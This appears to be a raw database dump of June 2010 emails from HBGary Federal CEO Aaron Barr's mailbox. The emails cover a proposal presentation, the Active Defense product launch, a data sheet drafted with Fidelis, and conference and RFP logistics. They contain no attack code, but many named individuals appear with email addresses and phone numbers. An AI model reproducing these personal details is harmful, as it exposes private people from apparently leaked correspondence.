Hoagland, Kimberly A.; Hilliard, Jennifer M.; Hickey, David T.; Hart, Kelly J.; Hill, Pamela E.; Varga, Joan A.; John Reed Stark &lt;JStark@StrozFriedberg.com&gt;; Michael, Jim A.; Petrauskas, Karen J.; Satterfield, Linda S.; Luna, Roby &lt;rluna@sms.com&gt;; Mackert, Todd D.; McLaine, Kate L.; White-Taber, Marjorie J.; Green, Rosemary; Stern, Matthew A.; Tilden, Michael J.; Newman, Christopher J.; Raja, Razwan N.; Walter, Troy &lt;Troy.Walter@gdit.com&gt;; Kyburz, William (EXT) (GDIT); Stewart, Michael L.; Starr, Christopher H.; Neiderer, David M.; Lhotka, Erven R.; Hart, Kelly J.; Hoagland, Kimberly A.; Satterfield, Linda S.; Egloff, Susan C.Sent: Thu Jun 10 16:35:17 2010Subject: FBI ESOC Orals\r\n\r\n\r\n\r\nWe&#8217;ve completed Orals!! \r\n\r\nFirst I&#8217;d like to say Thank you to Rich McDonald, Roger Burton, Troy Walter, Charles Arismendi, Razwan Raja, Mike Stewart, Chris Starr, &amp; David Neiderer for working so hard over the past 2 days and doing such a great job at orals today!!&nbsp; I&#8217;ve heard nothing but great comments from many of you about how well you all thought it went! I&#8217;ve heard both briefings went very well, there were easy questions, and it was a really good interchange with the customer. I&#8217;ve also heard the body language was favorable and we received positive reactions to our responses to their questions. So to all of you, thank you and congratulations for a job well done! We had a lot of work to do and we had less than 48hr to do it but you all chipped in and helped pull it off! \r\n\r\nSecond I&#8217;d like to say thanks to Rick Berthiaume for doing such a GREAT job at getting the answers pulled together for the governments clarification questions we receive this week. While so many were tied up preparing for orals you were working this ensuring we were able to respond on time! What a great job!\r\n\r\nThird to EVERYONE else who helped in so many other ways. We couldn&#8217;t have completed all this if we didn&#8217;t have such a great team all chipping in and helping!&nbsp; Also to those who spent countless late night (morning) hours &#8211; thank&nbsp; you!!&nbsp; I&#8217;m impressed by your dedication and grateful for your support! What a great team we have! \r\n\r\nI will keep you all informed as soon as we hear anything, but again thanks to everyone!&nbsp; Please pass this on to anyone I may have missed on this e-mail! \r\n\r\nMichelle \r\n\r\n757 286-9239\r\n\r\n\r\n',9850,'aaron_hbgary_com/9850.html'),(7289,'2010-06-11','\"Scott Pease\" <scott@hbgary.com>','/aaron@hbgary.com/new/1297005306.M748125P14101Q2144.eml','all@hbgary.com','Active Defense is Live!','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAll,\r\n\r\nActive Defense is live!! It was definitely a company-wide\r\neffort and I want to thank everyone for their help in pulling this off. There\r\nwere a lot of long hours in Engineering and QA, but that was backed by equally\r\nlong hours put in by the Sales team in customer engagements, demos, and pilots.\r\nThe product wouldn&#8217;t be where it is today without the suggestions for new\r\nfeatures and product improvements generated in those engagements. Thanks also\r\ngo out to Chark and DeeAnn for building and shipping systems, and the hundred\r\nother things they did on a daily basis to keep us on track during development. \r\n\r\n&nbsp;\r\n\r\nScott\r\n\r\n\r\n\r\n\r\n\r\n\r\n',3459,'aaron_hbgary_com/3459.html'),(7290,'2010-06-11','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297005306.M945264P14101Q2145.eml','\"Etue, David\" <david.etue@fidelissecurity.com>','Re: Data sheet','Ok sounds good.  J. Filberts at 330.  If you have any more input for\r\nthe brochure send it my way.\r\n\r\nAaron\r\n\r\nSent from my iPad\r\n\r\nOn Jun 10, 2010, at 5:36 PM, \"Etue, David\"\r\n wrote:\r\n\r\n> For drinks, I\'m game to do either.  J Gilberts is pretty easy for me,\r\n> which is probably the best midway between us.  Say 3:30 there?\r\n>\r\n> I\'ve got brochures and flashlight trinkets for you to take to FIRST.  I\r\n> will also email you a 451 Group document that you can print if you\'d\r\n> like.  We didn\'t have any copies around, but we bought the rights to\r\n> reprint it.\r\n>\r\n> If you want me to take another look at the brochure, let me know.  Was\r\n> swamped the last few days, but I do have some time tomorrow!\r\n>\r\n> David\r\n>\r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n> Sent: Wednesday, June 09, 2010 5:25 PM\r\n> To: Etue, David\r\n> Subject: Re: Data sheet\r\n>\r\n> Yes that is exactly what I am looking for, figured you could write it\r\n> better than me.  And please comment on the rest of it as well.  Really\r\n> the first one of these I have written so I want it to have as much\r\n> impact as possible.  Also when I see you on Friday I would like to get a\r\n> stack of relevant datasheets for the fidelis appliance as well.\r\n>\r\n> Thanks.\r\n>\r\n> I am open on place to meet for a drink.  Suggestions are J. Gilberts in\r\n> Mclean reverse commute going back, or O\'sullivans in Arlington...also\r\n> open to other suggestions.\r\n>\r\n> On Jun 9, 2010, at 5:13 PM, Etue, David wrote:\r\n>\r\n>> Working on the data sheet tonight - have it printed out, but haven\'t\r\n>> been sitting down to look at it :(   I believe Stacey is working on it\r\n>> too.  Have a internal call in 10 minutes to make sure everyone in\r\n>> Fidelis is doing the right stuff to support you guys.\r\n>>\r\n>> I\'m going to rewrite the top left paragraph on the back page if that\r\n> is\r\n>> ok.  Stacey will get you updated product pictures and logos.\r\n>>\r\n>> David\r\n>>\r\n>> -----Original Message-----\r\n>> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n>> Sent: Wednesday, June 09, 2010 3:41 PM\r\n>> To: Etue, David\r\n>> Subject: Data sheet\r\n>>\r\n>> Hey Dave,\r\n>>\r\n>> Did you have much of a chance to look at the Data sheet?  I  going to\r\n>> finish it up today and tomorrow.  Also trying to finish my NSA\r\n>> presentation for Tuesday.\r\n>>\r\n>> Aaron\r\n>>\r\n>> From my iPhone\r\n>\r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n>\r\n',10599,'aaron_hbgary_com/10599.html'),(7291,'2010-06-11','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297005308.M30699P14101Q2146.eml','\"Bob Slapnik\" <bob@hbgary.com>','FIRST','Hey Bob,\r\n\r\nWhen are you heading to Miami?  I would like to give you some datasheets for our Information Security Services.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',521,'aaron_hbgary_com/521.html'),(7292,'2010-06-11','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297005308.M437760P14101Q2147.eml','\"Sweeney, Stacey\" <stacey.sweeney@fidelissecurity.com>','Re: Data sheet','Thanks Stacey.I will send over to you for final review. &nbsp;I am planning to do a press release the following week after the show so I can spread the exposure a bit and maybe add any bits of information I get from the show in discussions.AaronOn Jun 10, 2010, at 5:52 PM, Sweeney, Stacey wrote:\r\n\r\nAaron - I will send you the photos of Fidelis XPS shortly.\r\nHere is some info on Fidelis Security Systems.&nbsp; But not sure exactly what kind of length you can use? Feel free to cut off the last sentence if its too long. I would like to review the entire piece again prior to finalizing so that I can double-check trademark usage, etc. \r\nAnd are you planning to issue a press release next week? if so, please send me over a draft to review and I\'ll turn it right around. Thanks.\r\n\r\nStacey\r\nFidelis Security Systems provides organizations with the power to leverage their sensitive information while protecting it from data breaches--due to theft, leakage, or exfiltration. Built on a patented deep session inspection™, platform, the Fidelis Extrusion Prevention System® is the industry\'s only next-generation network security solution with the visibility and control necessary to stop data breaches by uniquely working at the session-level.&nbsp; Fidelis enables their government, military, and commercial enterprise customers around the globe to achieve comprehensive information protection in real time on multi-gigabit speed networks—allowing them to protect content, control application activity, enforce encryption policy, and mitigate threats.&nbsp;\r\n\r\n\r\n_____________________________________________ \r\n\r\nFrom: &nbsp; Etue, David&nbsp; \r\n\r\nSent:&nbsp;&nbsp; Thursday, June 10, 2010 8:09 AM\r\n\r\nTo:&nbsp;&nbsp;&nbsp;&nbsp; Aaron Barr\r\n\r\nCc:&nbsp;&nbsp;&nbsp;&nbsp; Sweeney, Stacey\r\n\r\nSubject:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; RE: Data sheet\r\nAaron,\r\n\r\n\r\nHow is this?&nbsp; Feel free to change… Stacey will also provide Fidelis XPS art and a short about paragraph for the blue area.David\r\nThe Fidelis Extrusion Prevention System®, Fidelis XPS™, provides network discovery, session reconstruction and traffic analysis providing visibility and control to mitigate threats, protect content, control application activity, and enforce encryption policy.A standard engagement involves initial query of our databases for compromised hosts within a customer’s netblock (allocated IP address ranges.)&nbsp; The results are loaded into both HB Gary Active Defense and Fidelis XPS for immediate targeted triage once onsite.&nbsp; Fidelis XPS passes alerts to the Active Defense server for targeted host analysis based on suspicious activity, and Active Defense will update Fidelis XPS policy and rules based on results to provide additional situational awareness at the network perimeter.&nbsp; Additionally, update queries against the compromise hosts databases are made to supplement the real time result.&nbsp; All knowledge is brought into the Palantir Analysis Framework to quickly identify the threats targeting the organization, enabling timely targeted remediation.&nbsp; This technology, pair with HB Gary’s robust techniques and procedures enables fast time to remediation of assets across the organization, allowing the organization to be back to full support of its mission in the most expedient manner.&nbsp; Other thoughts:\r\n\r\nIn the first paragraph, you say “Fortune 500 companies” – I typically just say organizations because it covers commercial and gov’tChange caption to Fidelis XPS Information Flow Map™\r\n\r\nStacey will provide Fidelis XPS art and a short about paragraph for the blue area\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com]\r\nSent: Wednesday, June 09, 2010 5:25 PM\r\nTo: Etue, David\r\nSubject: Re: Data sheet\r\nYes that is exactly what I am looking for, figured you could write it better than me.&nbsp; And please comment on the rest of it as well.&nbsp; Really the first one of these I have written so I want it to have as much impact as possible.&nbsp; Also when I see you on Friday I would like to get a stack of relevant datasheets for the fidelis appliance as well.Thanks.\r\nI am open on place to meet for a drink.&nbsp; Suggestions are J. Gilberts in Mclean reverse commute going back, or O\'sullivans in Arlington...also open to other suggestions.On Jun 9, 2010, at 5:13 PM, Etue, David wrote:\r\n&gt; Working on the data sheet tonight - have it printed out, but haven\'t\r\n\r\n&gt; been sitting down to look at it :(&nbsp;&nbsp; I believe Stacey is working on it\r\n\r\n&gt; too.&nbsp; Have a internal call in 10 minutes to make sure everyone in\r\n\r\n&gt; Fidelis is doing the right stuff to support you guys.&nbsp; \r\n\r\n&gt; \r\n\r\n&gt; I\'m going to rewrite the top left paragraph on the back page if that is\r\n\r\n&gt; ok.&nbsp; Stacey will get you updated product pictures and logos.\r\n\r\n&gt; \r\n\r\n&gt; David\r\n\r\n&gt; \r\n\r\n&gt; -----Original Message-----\r\n\r\n&gt; From: Aaron Barr [mailto:aaron@hbgary.com] \r\n\r\n&gt; Sent: Wednesday, June 09, 2010 3:41 PM\r\n\r\n&gt; To: Etue, David\r\n\r\n&gt; Subject: Data sheet\r\n\r\n&gt; \r\n\r\n&gt; Hey Dave,\r\n\r\n&gt; \r\n\r\n&gt; Did you have much of a chance to look at the Data sheet?&nbsp; I&nbsp; going to\r\n\r\n&gt; finish it up today and tomorrow.&nbsp; Also trying to finish my NSA\r\n\r\n&gt; presentation for Tuesday.\r\n\r\n&gt; \r\n\r\n&gt; Aaron\r\n\r\n&gt; \r\n\r\n&gt; From my iPhone\r\nAaron Barr\r\n\r\nCEO\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',10178,'aaron_hbgary_com/10178.html'),(7293,'2010-06-11','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297005315.M647840P14101Q2148.eml','\"Greg Hoglund\" <greg@hbgary.com>,\"Penny Leavy\" <penny@hbgary.com>,\"Rich Cummings\" <rich@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>','Nearly Complete','Pse comments welcome.\r\n\r\n',16453,'aaron_hbgary_com/16453.html'),(7294,'2010-06-11','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297005319.M970619P14101Q2149.eml','\"Sweeney, Stacey\" <stacey.sweeney@fidelissecurity.com>,\"Sweeney, Stacey\" <stacey.sweeney@fidelissecurity.com>,','Re: Photos/stencils','Here is a close to finished product.  Final comments welcome.\r\n\r\n\r\nAaron\r\n\r\nOn Jun 10, 2010, at 6:11 PM, Sweeney, Stacey wrote:\r\n\r\n> Aaron - attached is a photo of our appliance as well as some stencils that can be used if you need a diagram/illustration form of it.\r\n>  \r\n> \r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',7724,'aaron_hbgary_com/7724.html'),(7295,'2010-06-11','\"Traci Wei\" <twei@capsllc.net>','/aaron@hbgary.com/new/1297005320.M663837P14101Q2150.eml','first-2010announce@first.org','FIRST 2010 Keynote Highlight - Dr. Udo Helmbrecht of ENISA & Sponsor Highlight - Terremark','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nDear\r\nColleague,\r\n\r\n&nbsp;\r\n\r\nOn\r\nWednesday, June 16th @09:00, FIRST.Org welcomes Dr. Udo Helmbrecht\r\nof ENISA to the mainstage.&nbsp; With over 30 years of professional management experience\r\nin the IT sector, Dr. Helmbrecht spearheaded the cooperation between the German\r\nFederal Office for Information Security (BSI) and the IT security industry, as\r\nwell as raised public awareness of information security issues.\r\n\r\n&nbsp;\r\n\r\n&#8220;Securing\r\nEurope&#8217;s Information Society&#8221; &#8211; Abstract:\r\n\r\n&nbsp;\r\n\r\nThe\r\nEU policy agenda - Network and information security among top priorities \r\n\r\n&nbsp;\r\n\r\nUnder\r\nthe umbrella of the Lisbon Strategy, the European Commission Communication\r\n&quot;i2010 - A European Information Society for growth and employment&quot;1,\r\nhighlighted the importance of network and information security for the creation\r\nof a single European information space. The availability, reliability and\r\nsecurity of networks and information systems are increasingly central to our\r\neconomies and society. \r\n\r\n&nbsp;\r\n\r\nIn\r\nhis speech the Executive Director of the European Network and Information\r\nSecurity Agency (ENISA) will give an overview of the policy process on European\r\nlevel, new tasks and functions for the ENISA and his vision for the future of\r\nNIS in Europe - and beyond!\r\n\r\n&nbsp;\r\n\r\nSponsor\r\nHighlight &#8211; Terremark!\r\n\r\nFIRST\r\nwould like to gratefully acknowledge Terremark as the 2010 Geek Lounge &amp;\r\nBrain Bar Sponsor.&nbsp; Be sure to check them out Monday-Friday from\r\nNoon-5:00PM.&nbsp; It&#8217;s a great space to socialize with your peers, re-charge\r\nyour electronics, and get some competitive Wii game play in.&nbsp; We&#8217;ll\r\nalso be dishing up smoothies at the Brain Bar to keep you cool in the Miami\r\nheat!&nbsp; \r\n\r\n&nbsp;\r\n\r\nAdditional\r\nHighlights:\r\n\r\n-\r\nTerremark will be raffling of an Apple iPad to one lucky winner!\r\n\r\n-\r\nNot a FIRST member and looking for something to do Thursday afternoon during\r\nthe AGM?&nbsp; Tours to the NAP of the Americas will be offered Thursday from\r\n3:00PM-7:00PM.&nbsp; Make sure to stop by during the week to sign-up.&nbsp;\r\nShuttle buses will be awaiting tour participants.&nbsp; \r\n\r\n&nbsp;\r\n\r\nThe\r\nConference is Just Days Away!\r\n\r\nIf\r\nyou have any additional questions or concerns, please don&#8217;t hesitate to\r\ncontact us at first-2010@first.org.&nbsp;\r\n\r\n\r\n&nbsp;\r\n\r\nTwitter\r\n\r\nFollow\r\nour conference updates on Twitter @firstdotorg (http://www.twitter.com/firstdotorg).\r\n\r\n\r\n&nbsp;\r\n\r\nOn\r\nLinkedIn?&nbsp;\r\n\r\n\r\nDon&#8217;t\r\nforget to add the conference to the events that you are attending! \r\n\r\nhttp://events.linkedin.com/22nd-Annual-FIRST-Conference/pub/75123\r\n\r\n&nbsp;\r\n\r\nJoin\r\nthe FIRST LinkedIn Group at http://www.linkedin.com/groups?gid=2585&amp;trk=myg_ugrp_ovr.\r\n\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nSee\r\nyou in MIAMI!\r\n\r\nTraci\r\n\r\n&nbsp;\r\n\r\nTraci Wei\r\n\r\nConference &amp; Marketing Coordinator\r\n\r\n..............................................................\r\n\r\nConference &amp; Publication Services, LLC\r\n\r\n213 W. Institute Place, Suite 405\r\n\r\nChicago, IL 60610\r\n\r\nd. 312.268.6784\r\n\r\np. 312.372.1255 ext. 107\r\n\r\nf.&nbsp; 312.372.1427\r\n\r\nt.&nbsp; @capsllc\r\n\r\nhttp://www.capsllc.net\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',15215,'aaron_hbgary_com/15215.html'),(7296,'2010-06-11','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297005320.M916744P14101Q2151.eml','charlie@iomaxis.com','Contact','Aaron@HBGary.com\r\n7195108478\r\n\r\nAaron\r\nSent from my iPad\r\n',11449,'aaron_hbgary_com/11449.html'),(7297,'2010-06-11','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297005321.M130373P14101Q2152.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: FIRST','I leave early Tuesday morning.\r\n\r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Thursday, June 10, 2010 10:13 PM\r\nTo: Bob Slapnik\r\nSubject: FIRST\r\n\r\nHey Bob,\r\n\r\nWhen are you heading to Miami?  I would like to give you some datasheets for\r\nour Information Security Services.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\nNo virus found in this incoming message.\r\nChecked by AVG - www.avg.com \r\nVersion: 9.0.829 / Virus Database: 271.1.1/2929 - Release Date: 06/10/10\r\n02:35:00\r\n\r\n',2355,'aaron_hbgary_com/2355.html'),(7298,'2010-06-11','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297005321.M399107P14101Q2153.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Nearly Complete','Aaron,\r\n\r\nSome low hanging errors to correct.........\r\n\r\n100k malware variants per day, not 1k\r\n\r\nPut a period after \"criminal elements\" and start a new sentence with \"It\'s\r\nnot just.....\"\r\n\r\nChanged \"its\" to \"It\'s\" as in it is.  \"Its\" is possessive.\r\n\r\nChange \"tomorrows\" to \"tomorrow\'s\"\r\n\r\nTry to change (tm) to TM with superscript - multiple occurrences\r\n\r\nOn the whole it is pretty well written and serviceable.  It could be a bit\r\nmore impactful and clearer about the value proposition and the uniqueness of\r\nthe approach.  I have to leave for an appt and can\'t give it more time at\r\npresent.\r\n\r\nBob \r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Thursday, June 10, 2010 11:57 PM\r\nTo: Greg Hoglund; Penny Leavy; Rich Cummings; Bob Slapnik\r\nSubject: Nearly Complete\r\n\r\nPse comments welcome.\r\n\r\n\r\nNo virus found in this incoming message.\r\nChecked by AVG - www.avg.com \r\nVersion: 9.0.829 / Virus Database: 271.1.1/2929 - Release Date: 06/10/10\r\n02:35:00\r\n\r\n',11475,'aaron_hbgary_com/11475.html'),(7299,'2010-06-11','\"Penny Leavy\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297005321.M634161P14101Q2154.eml','\"Scott Pease\" <scott@hbgary.com>,\"Scott Pease\" <scott@hbgary.com>','Re: Active Defense is Live!','Job well done everyone.  Sales is really excited about the new\r\nfeatures/functionality and the response we\'ve been getting from our\r\ncustomers.  This will mark a turning point at HBGary.  The next year\r\nwill be very different than previous years thanks to all who work to\r\nmake this happen\r\n\r\nOn Thu, Jun 10, 2010 at 5:58 PM, Scott Pease  wrote:\r\n> All,\r\n>\r\n> Active Defense is live!! It was definitely a company-wide effort and I want\r\n> to thank everyone for their help in pulling this off. There were a lot of\r\n> long hours in Engineering and QA, but that was backed by equally long hours\r\n> put in by the Sales team in customer engagements, demos, and pilots. The\r\n> product wouldn’t be where it is today without the suggestions for new\r\n> features and product improvements generated in those engagements. Thanks\r\n> also go out to Chark and DeeAnn for building and shipping systems, and the\r\n> hundred other things they did on a daily basis to keep us on track during\r\n> development.\r\n>\r\n>\r\n>\r\n> Scott\r\n\r\n\r\n\r\n-- \r\nPenny C. Leavy\r\nHBGary, Inc.\r\n',15816,'aaron_hbgary_com/15816.html'),(7300,'2010-06-11','\"Maria Lucas\" <maria@hbgary.com>','/aaron@hbgary.com/new/1297005321.M854792P14101Q2155.eml','\"Penny Leavy\" <penny@hbgary.com>,\"Penny Leavy\" <penny@hbgary.com>,','Re: Active Defense is Live!','YES!!!!!  SALES IS VERY EXCITED\r\n \r\nTHANK YOU FOR ALL THE HARD WORD!!!!!!!!!!!!!!!!!\r\nOn Fri, Jun 11, 2010 at 7:38 AM, Penny Leavy &lt;penny@hbgary.com&gt; wrote:\r\nJob well done everyone.  Sales is really excited about the newfeatures/functionality and the response we&#39;ve been getting from our\r\ncustomers.  This will mark a turning point at HBGary.  The next yearwill be very different than previous years thanks to all who work tomake this happen\r\n\r\n\r\nOn Thu, Jun 10, 2010 at 5:58 PM, Scott Pease &lt;scott@hbgary.com&gt; wrote:&gt; All,&gt;&gt; Active Defense is live!! It was definitely a company-wide effort and I want\r\n&gt; to thank everyone for their help in pulling this off. There were a lot of&gt; long hours in Engineering and QA, but that was backed by equally long hours&gt; put in by the Sales team in customer engagements, demos, and pilots. The\r\n&gt; product wouldn’t be where it is today without the suggestions for new&gt; features and product improvements generated in those engagements. Thanks&gt; also go out to Chark and DeeAnn for building and shipping systems, and the\r\n&gt; hundred other things they did on a daily basis to keep us on track during&gt; development.&gt;&gt;&gt;&gt; Scott--Penny C. LeavyHBGary, Inc.\r\n-- Maria Lucas, CISSP | Account Executive | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971email: maria@hbgary.com \r\n\r\n',1796,'aaron_hbgary_com/1796.html'),(7301,'2010-06-11','ted@hbgary.com','/aaron@hbgary.com/new/1297005322.M161190P14101Q2156.eml','aaron@hbgary.com','BotNet Letter','\r\n\r\nI\'ve shared BotNet Letter\r\nMessage from ted@hbgary.com:\r\nDraft botnet letter for new and existing customers.\r\nClick to open:\r\nBotNet Letter\r\n\r\n\r\nGoogle Docs makes it easy to create, store and share online documents, spreadsheets and presentations.\r\n',15740,'aaron_hbgary_com/15740.html'),(7302,'2010-06-11','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297005322.M394094P14101Q2157.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Nearly Complete','At the core is HBGary\'s Active Defense(tm) software\r\nmanaging enterprise malware analysis at the end points AND\r\nleveraging patent pending Digital DNA(tm). Active\r\nDefense detects advanced, unknown malware and\r\nexploitation tools without signatures or prior knowledge\r\nof the threat.\r\n\r\n\r\nQuestion, why the blurb on the back about exploitation and new technologies?\r\n\r\n---Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Thursday, June 10, 2010 8:57 PM\r\nTo: Greg Hoglund; Penny Leavy; Rich Cummings; Bob Slapnik\r\nSubject: Nearly Complete\r\n\r\nPse comments welcome.\r\n\r\n\r\n',2256,'aaron_hbgary_com/2256.html'),(7303,'2010-06-11','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297005322.M617537P14101Q2158.eml','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','Re: Nearly Complete','ok I am obviously not getting my larger message across which is to be truely effective you have to have knowledge of and capabilities in threat intelligence, incident response, and information operations, or the mind, the sword, and the shield and we have capabilities in all three. So I briefly go into each of these areas and describe our discriminators.\r\n\r\nSpecifically in Incident Response we believe we have discriminators because we have connected C&C, session network data, and binary data into a IR package.\r\n\r\nRelated to Threat Intelligence.  Lots of technology companies say they can do Threat Intelligence yet they only analyze data in a specific domain.  If you are not building threat maps in a graphical tool using at least binary, network, C&C, and social data then your not really doing threat intelligence.\r\n\r\nThe Information Operations is there to describe generically our offensive capabilities.  Can\'t talk to much about it but its there and it helps to shape our ability in threat intelligence and incident response as well.\r\n\r\nI will put a some more work into it.\r\n\r\n\r\n\r\nOn Jun 11, 2010, at 12:53 PM, Penny Leavy-Hoglund wrote:\r\n\r\n> At the core is HBGary\'s Active Defense(tm) software\r\n> managing enterprise malware analysis at the end points AND\r\n> leveraging patent pending Digital DNA(tm). Active\r\n> Defense detects advanced, unknown malware and\r\n> exploitation tools without signatures or prior knowledge\r\n> of the threat.\r\n> \r\n> \r\n> Question, why the blurb on the back about exploitation and new technologies?\r\n> \r\n> ---Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Thursday, June 10, 2010 8:57 PM\r\n> To: Greg Hoglund; Penny Leavy; Rich Cummings; Bob Slapnik\r\n> Subject: Nearly Complete\r\n> \r\n> Pse comments welcome.\r\n> \r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',10384,'aaron_hbgary_com/10384.html'),(7304,'2010-06-11','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297005322.M836879P14101Q2159.eml','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','Re: Nearly Complete','ok I am obviously not getting my larger message across which is to be truely effective you have to have knowledge of and capabilities in threat intelligence, incident response, and information operations, or the mind, the sword, and the shield and we have capabilities in all three. So I briefly go into each of these areas and describe our discriminators.\r\n\r\nSpecifically in Incident Response we believe we have discriminators because we have connected C&C, session network data, and binary data into a IR package.\r\n\r\nRelated to Threat Intelligence.  Lots of technology companies say they can do Threat Intelligence yet they only analyze data in a specific domain.  If you are not building threat maps in a graphical tool using at least binary, network, C&C, and social data then your not really doing threat intelligence.\r\n\r\nThe Information Operations is there to describe generically our offensive capabilities.  Can\'t talk to much about it but its there and it helps to shape our ability in threat intelligence and incident response as well.\r\n\r\nI will put a some more work into it.\r\n\r\n\r\n\r\nOn Jun 11, 2010, at 12:53 PM, Penny Leavy-Hoglund wrote:\r\n\r\n> At the core is HBGary\'s Active Defense(tm) software\r\n> managing enterprise malware analysis at the end points AND\r\n> leveraging patent pending Digital DNA(tm). Active\r\n> Defense detects advanced, unknown malware and\r\n> exploitation tools without signatures or prior knowledge\r\n> of the threat.\r\n> \r\n> \r\n> Question, why the blurb on the back about exploitation and new technologies?\r\n> \r\n> ---Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Thursday, June 10, 2010 8:57 PM\r\n> To: Greg Hoglund; Penny Leavy; Rich Cummings; Bob Slapnik\r\n> Subject: Nearly Complete\r\n> \r\n> Pse comments welcome.\r\n> \r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',5590,'aaron_hbgary_com/5590.html'),(7305,'2010-06-11','\"Ira Entis\" <Ira.Entis@agilex.com>','/aaron@hbgary.com/new/1297005323.M649061P14101Q2160.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,','LANL','Aaron --&nbsp;Per my voicemail, we would like your input on the pieces highlighted in yellow in the attached doc. &nbsp;Also, give me a shout to catch up about my conversation with the client.- ira',15037,'aaron_hbgary_com/15037.html'),(7306,'2010-06-11','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297005324.M492341P14101Q2161.eml','\"Ted Vera\" <ted@hbgary.com>','Fwd: LANL','Got a voicemail from ira.  The rfp is not for cpwtition reasons but for documentation and process.AaronFrom my iPhoneBegin forwarded message:\r\nFrom: Ira Entis &lt;Ira.Entis@agilex.com&gt;To: Aaron Barr &lt;aaron@hbgary.com&gt;Cc: Jerry McClure &lt;Jerry.McClure@agilex.com&gt;, Mari Jo Boynton &lt;MariJo.Boynton@agilex.com&gt;\r\nSubject: LANLAaron --Per my voicemail, we would like your input on the pieces highlighted in yellow in the attached doc.  Also, give me a shout to catch up about my conversation with the client.\r\n- ira\r\n',12645,'aaron_hbgary_com/12645.html'),(7307,'2010-06-11','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297005330.M311585P14101Q2162.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: LANL','When is this due?\r\n\r\n\r\n\r\nOn Jun 11, 2010, at 2:36 PM, Aaron Barr  wrote:\r\n\r\n> Got a voicemail from ira.  The rfp is not for cpwtition reasons but\r\n> for\r\n> documentation and process.\r\n> Aaron\r\n>\r\n> From my iPhone\r\n>\r\n> Begin forwarded message:\r\n>\r\n> *From:* Ira Entis \r\n> *To:* Aaron Barr \r\n> *Cc:* Jerry McClure , Mari Jo Boynton  MariJo.Boynton@agilex.com>\r\n> *Subject:* *LANL*\r\n>\r\n> Aaron --\r\n>\r\n> Per my voicemail, we would like your input on the pieces highlighted\r\n> in\r\n> yellow in the attached doc.  Also, give me a shout to catch up about\r\n> my\r\n> conversation with the client.\r\n>\r\n> - ira\r\n> \r\n> \r\n',16006,'aaron_hbgary_com/16006.html'),(7308,'2010-06-11','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297005330.M527481P14101Q2163.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: LANL','Have you linked up with penny yet?\r\n\r\n\r\n\r\nOn Jun 11, 2010, at 2:36 PM, Aaron Barr  wrote:\r\n\r\n> Got a voicemail from ira.  The rfp is not for cpwtition reasons but\r\n> for\r\n> documentation and process.\r\n> Aaron\r\n>\r\n> From my iPhone\r\n>\r\n> Begin forwarded message:\r\n>\r\n> *From:* Ira Entis \r\n> *To:* Aaron Barr \r\n> *Cc:* Jerry McClure , Mari Jo Boynton  MariJo.Boynton@agilex.com>\r\n> *Subject:* *LANL*\r\n>\r\n> Aaron --\r\n>\r\n> Per my voicemail, we would like your input on the pieces highlighted\r\n> in\r\n> yellow in the attached doc.  Also, give me a shout to catch up about\r\n> my\r\n> conversation with the client.\r\n>\r\n> - ira\r\n> \r\n> 